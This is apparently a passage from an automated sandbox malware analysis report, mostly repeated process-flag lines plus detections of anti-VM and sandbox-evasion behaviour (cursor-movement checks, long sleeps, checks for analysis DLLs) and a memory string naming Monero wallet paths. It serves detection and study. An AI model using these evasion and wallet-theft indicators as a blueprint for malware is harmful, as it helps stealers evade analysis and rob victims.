Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBGDHJECFC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBGDHJECFC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBGDHJECFC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBGDHJECFC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBGDHJECFC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBGDHJECFC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBGDHJECFC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBGDHJECFC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBGDHJECFC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBGDHJECFC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBGDHJECFC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBGDHJECFC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBGDHJECFC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBGDHJECFC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\EBGDHJECFC.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Yara detected AntiVM3
Source: Yara match File source: 0.2.file.exe.3a95570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.file.exe.3a95570.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.RegAsm.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.RegAsm.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.2068506694.0000000003A95000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: file.exe PID: 2452, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 2964, type: MEMORYSTR
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: RegAsm.exe Binary or memory string: DIR_WATCH.DLL
Source: RegAsm.exe, 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp Binary or memory string: INMPM20IXQUGN9:-?5(\C!7%{->^WALLET_PATHSOFTWARE\MONERO-PROJECT\MONERO-CORE.KEYS\MONERO\WALLET.KEYS\\\*.*\\...\\\\\\\\\\\\HAL9THJOHNDOEDISPLAYAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL20:41:3120:41:3120:41:3120:41:3120:41:3120:41:31DELAYS.TMP%S%SNTDLL.DLL
Source: RegAsm.exe Binary or memory string: SBIEDLL.DLL
Source: RegAsm.exe Binary or memory string: API_LOG.DLL
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\Desktop\file.exe Memory allocated: F20000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\file.exe Memory allocated: 2A90000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\file.exe Memory allocated: 4A90000 memory reserve | memory write watch Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Memory allocated: 2750000 memory reserve | memory write watch Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Memory allocated: 2A10000 memory reserve | memory write watch Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Memory allocated: 2750000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Memory allocated: 970000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Memory allocated: 22E0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Memory allocated: 42E0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Memory allocated: 9A0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Memory allocated: 24B0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Memory allocated: 21B0000 memory reserve | memory write watch
Source: C:\ProgramData\EBGDHJECFC.exe Memory allocated: 17A0000 memory reserve | memory write watch
Source: C:\ProgramData\EBGDHJECFC.exe Memory allocated: 3360000 memory reserve | memory write watch
Source: C:\ProgramData\EBGDHJECFC.exe Memory allocated: 3190000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Memory allocated: 2200000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Memory allocated: 2430000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Memory allocated: 2230000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Memory allocated: 1280000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Memory allocated: 2E60000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Memory allocated: 2C80000 memory reserve | memory write watch
Contains functionality to detect sandboxes (mouse cursor move detection)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: OpenInputDesktop,SetThreadDesktop,GetCursorPos,GetCursorPos,Sleep,Sleep,GetCursorPos,Sleep,Sleep,GetCursorPos, 3_2_0040180D
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\file.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 595735 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 595518 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 595312 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 595136 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 594954 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 594794 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 594539 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 594376 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 594203 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 593552 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 593297 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 593094 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 592931 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 592750 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 592594 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 592438 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 592250 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 592062 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 591907 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 591747 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 591594 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 591329 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 590850 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 590671 Jump to behavior
